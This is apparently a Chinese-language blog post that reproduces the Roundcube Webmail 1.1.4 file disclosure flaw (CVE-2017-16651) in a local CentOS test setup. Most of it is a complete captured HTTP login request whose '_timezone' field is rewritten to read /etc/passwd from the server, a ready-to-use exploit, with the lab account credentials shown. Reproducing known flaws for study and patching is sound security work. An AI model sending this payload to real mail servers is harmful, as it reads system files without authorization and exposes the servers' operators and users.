Preface

环境搭建

请参考:CentOS6 安装Sendmail + Dovecot + Roundcubemail

漏洞测试

本地环境:CentOS 6 + Roundcube Webmail 1.1.4

url : http://mail.roundcube.com/roundcubemail/

account : user1/123456

Roundcube Webmail File Disclosure Vulnerability(CVE-2017-16651)

登录、抓包,修改_timezone为如下(以读取/etc/passwd文件为例):

Roundcube Webmail File Disclosure Vulnerability(CVE-2017-16651)

POST /roundcubemail/?_task=login HTTP/1.1
Host: mail.roundcube.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://mail.roundcube.com/roundcubemail/
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Cookie: roundcube_sessid=33mpv2cn5mjdjhjcpfgkaf0oh2; language=en
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

_token=b8bdd3abae1d62621594f0de93a12a55&_task=login&_action=login&_timezone[files][1][path]=/etc/passwd&_url=&_user=user1&_pass=123456
View Code

相关文章:

  • 2022-01-06
  • 2021-09-11
  • 2021-07-30
  • 2021-10-21
  • 2021-08-13
  • 2021-08-03
  • 2022-12-23
猜你喜欢
  • 2022-02-22
  • 2021-11-11
  • 2021-10-10
  • 2022-12-23
  • 2021-07-31
  • 2021-06-21
相关资源
相似解决方案